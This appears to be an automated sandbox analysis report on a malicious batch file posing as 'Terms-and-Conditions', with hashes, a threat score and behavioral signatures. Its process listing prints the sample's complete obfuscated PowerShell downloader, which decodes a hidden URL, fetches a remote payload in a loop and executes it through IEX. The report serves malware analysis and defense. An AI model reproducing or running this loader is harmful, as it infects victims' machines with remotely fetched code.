Analysis
-
max time kernel
150s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
09-01-2025 14:48
Static task
static1
Behavioral task
behavioral1
Sample
Terms-and-Conditions.bat
Resource
win7-20240903-en
windows7-x64
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
Terms-and-Conditions.bat
Resource
win10v2004-20241007-en
windows10-2004-x64
12 signatures
150 seconds
General
-
Target
Terms-and-Conditions.bat
-
Size
4KB
-
MD5
46b5f44de72c0854fea4109c6ccafe13
-
SHA1
60aefbb7723950367f2d3c66697c5dc5c9afbec0
-
SHA256
14da11e85dde95c86a1e1bc6c68b49e6a99f967cb35219c51996f5915d9b62f8
-
SHA512
5792858f8b4dd037639227cac3aecb48bd0fde208d2fdc1573c96cc2783d86dd49fe8aa6a9e04d6f6dc0bf4c8beb362e2816e4ce6130c4ae034a836cde7adb7b
-
SSDEEP
96:9R6Ry59SGQl5PF7NuMDV5H02EIzBj6O7AFdbMAIv8k3ACoRDSDA6AcdAMLASDAZB:D6RyO95PVNzDH02EIzBj6KAFdbMAIv/k
Score
8/10
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2656 powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2656 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2656 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1836 wrote to memory of 2656 1836 cmd.exe 31 PID 1836 wrote to memory of 2656 1836 cmd.exe 31 PID 1836 wrote to memory of 2656 1836 cmd.exe 31
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Terms-and-Conditions.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1836 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden " <#Enecellens Lynkrigenes Polychasial Hedyphane #>;$Valgkongedmmets36='boulangerite';<#Forvaltningsafgrelse Spinneret Unwrapper Overspaciously stonifiable Cotyliscus #>; function Layovers($Honkers){If ($host.DebuggerEnabled) {$Ruineredes++;}$Trstprmies=$Afsminkningerne+$Honkers.'Length'-$Ruineredes; for ( $Faveolus=2;$Faveolus -lt $Trstprmies;$Faveolus+=3){$Bilindustris=$Faveolus;$storblomstredes+=$Honkers[$Faveolus];$Energimngders='Flokinstinkterne';}$storblomstredes;}function Photonephograph($Springfyrenes){ . ($Prsidentiel) ($Springfyrenes);}$Quisquilious=Layovers ',rMD o iz.riFolralStaor/Sc ';$Dominic=Layovers ' ST Al Ks G1La2El ';$Crepenylonen='Sk[ oNPoETaT,r.ous iEU Rn.v uIBeCSaEstp ronoiBrn et gmMiA oNLiADeg.reEnRMe]Ar: R:OfSD E cPru Dr aI GTF y epoprPoOKitCho Lc.voCoL M=H $ LDFoOCaMStI enPuIWaCKo ';$Quisquilious+=Layovers ' 5 n.Cy0Ci y(RhW,eiKon id hoTzwFrs g RN tTLu Sn1,n0 b.Ko0Tr; C eW ei An a6 G4 p;T SyxEr6ha4Ka; , S,rU v .:Sk1Sp3U 1 T.Se0 e) e CaGGleUdcLak omo/Du2Un0 t1Ne0B.0Py1S 0Tr1Ma RFRii rSkeTefFuo,oxsy/Fo1Ca3Ko1Cr..o0 P ';$Faveolusndividualisterne=Layovers ' BU aSc,eE ram- ASmGNoe anMiTS, ';$Modifikationer=Layovers 'HahRet itg.pM.sMo:Cu/ /U w RwAiwMa.,otEla,an ekDesEpc Ph.kud t Cz.l.DaoUdr CgDj/Scd ioGnwAgn tl ochaH dkl/ PHscaAbrKrm.aoManb.ines,de Ur BiBynSkg.usGenMidSpr ai Kn SgHe.M lKozTahAc ';$Scratchiness=Layovers 'Ta> k ';$Prsidentiel=Layovers 'ErI TEK.XAd ';$Envelopment='Acridium';$Faveolusnheritability='\Spitchcocking.Rad';Photonephograph (Layovers 'Bl$ RgBel OUnB MaAcLPa:MaAFesKlcRee NRI t Aa iE,N.om eE,nN ,tBr=A $BieUnn PV S:LaAHaP p DAeaA TFoASe+Pr$BafExa,nv E .OP.LriUIns .NInhfoebaRSfIGnTRoa,gbHjI mlSoICltBayVe ');Photonephograph (Layovers ' ,$E G nLReoBoB haHaLPr:PebMoaNogSkVRee LJswe i=Af$Inm eoHeDPei UfFoifokP aSot.vICoOMeN FE Sr e. iS,ap kL EIGrTM.(En$ ,s mcDeR PA,wThlCL hFyITtN lEtos .s,l),a ');Photonephograph (Layovers $Crepenylonen);$Modifikationer=$Bagveje[0];$Krumbjet=(Layovers 'Me$Idg,ul LOHnbUnAIglRe: Mp oRSqEIsA Ns eCBleTrRG tYeaD i nF,eKaDK =AnnHjE IW A-FdOReb nj,nEFoC lTUd SksGgyR,s.iTR E .MS .PoN reBetP..TrwG EGib icSaLPriC.eR.n PTM, ');Photonephograph ($Krumbjet);Photonephograph (Layovers 'Fi$HjpYarS,e.ea Cs cWie Nr NtCaa iHinBeePldSe. HBreS aS ds,eK rResUr[So$BuFReaSevTreKooPllUnu,es HnE,dStiMavSli .dStu Sa MlAdiHasHat.aeForHenTreK.] A=r,$DeQdsu Ri ls tqMuu iSul miu o.uurosMa ');$Verbaliser=Layovers ' l$HupR r IeA aUnsP cCoeE.rA,tTeaApiBrn veBad S.ThDFooB wCanDel ooH.aWhd FGeiKllSue (De$ PMHeo adafimofPliD k BaPotNoiAno ,n.ye.drCa,Ga$,xKVoaKadF r SeRajI eHerUi)Pl ';$Kadrejer=$Ascertainment;Photonephograph (Layovers 'Ol$klg ILExo,eB MaHyL,r: aTBaaKoP iP ,ECorGrSF =B.(BeTP ES S TUn-AepSpAI t DHT Af$guKUgaefDPir,eEm j KE rrTr)Sc ');while (!$Tappers) {Photonephograph (Layovers 'Sa$E,gGolNoo Sb aaPrlD : mPDeeOvj ZsKoeBrn AeMo1Af8Ve1Om= i$B tUnrReuNoeAn ') ;Photonephograph $Verbaliser;Photonephograph (Layovers ' SSVaTR,ABlRKoT r- SUnL reBaeRepSt Fo4D ');Photonephograph (Layovers 'G $Nag ClInOprB lARolko: at cA EPPlpPaeA R S n=Fo(MatMtEL S PTU - sp AArTSuhRe sq$chk ea ,DTerA E Rj FeF rDe)Ke ') ;Photonephograph (Layovers 'Co$NugColReo Rb Ta ,L,f:fisF,Ts,ANabA.EtrLHosL TInoPiLBuELosf =Un$JvGRaLOpoa bDgAKaLDo:G,SstNPaDOseTiRF R aiSqVA n ViCrNPogAnE EN sNd2.f3B 7To+St+Af%Po$OpbUnaUdG,iv Se NJ eCo. CcCroEnUFoNI THa ') ;$Modifikationer=$Bagveje[$Stabelstoles];}$Harmonite=331430;$Mesometrium173=28628;Photonephograph (Layovers 'Bo$OvGTaL.foinBUaa BlBa:udI .RBlRGdE ivKuoUrcheA eB ol iYOu An=.e Ng jeFeTBa- Nc To .NClT.lEFoN ot G E.$ AkWhaFaDKrREgePlJSvE CrSu ');Photonephograph (Layovers 'D $C,gD,lInoVebBoaHal .: UIM sFlo.es.xt,oaSecBry.d M.= Re[T SBoy ysR,tEkeSkm a. CLeoAfnPrvEpeSirint u]Re: g: uFS rDuoT,mSmBKeaIns MeSt6 H4V,SAst arM i LnMogIn(Tr$N IIlrEfrEle AvUno,tcHoa.ubStlB.ySp) ');Photonephograph (Layovers 'Us$I Gc.LSeOUrbHyAAsl o:C.SMoPunAnoLEntsmNRnI anHag SMiP rS OpecN,eCosKaSEne aRLanV EHaSRa K=Me In[,pSEuYbiS ,T ,E ,mIr. rT NEAbX otMu. SeTonStcTaoHoD IsyNChgA,] ,:T,:foAHjs tC ,IPai e.T G eEs T S ITfrR TIU.nkrGs,(Fr$ oi ,STrORisH.TStA .c,nYHu)D ');Photonephograph (Layovers ',r$ uGCoL UonaB rA SlTe:EqAsif kDiO FRMitc n,eiHan ogshsFa=ou$SesEdpK,ADkLT T rnF,IF n PGS S QPApR aopicO.eUnSGeS .EBoR hnSaEDesM..SpsejuTiBBaS MtkoRLoi mNN g V(Gr$TrHC AD r ZmSto nn,ei PtPlEMu,me$ am WeP s Oo iM,aEPaT,lRSaI iU omUn1Si7 H3Bh)p ');Photonephograph $Afkortnings;"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2656
-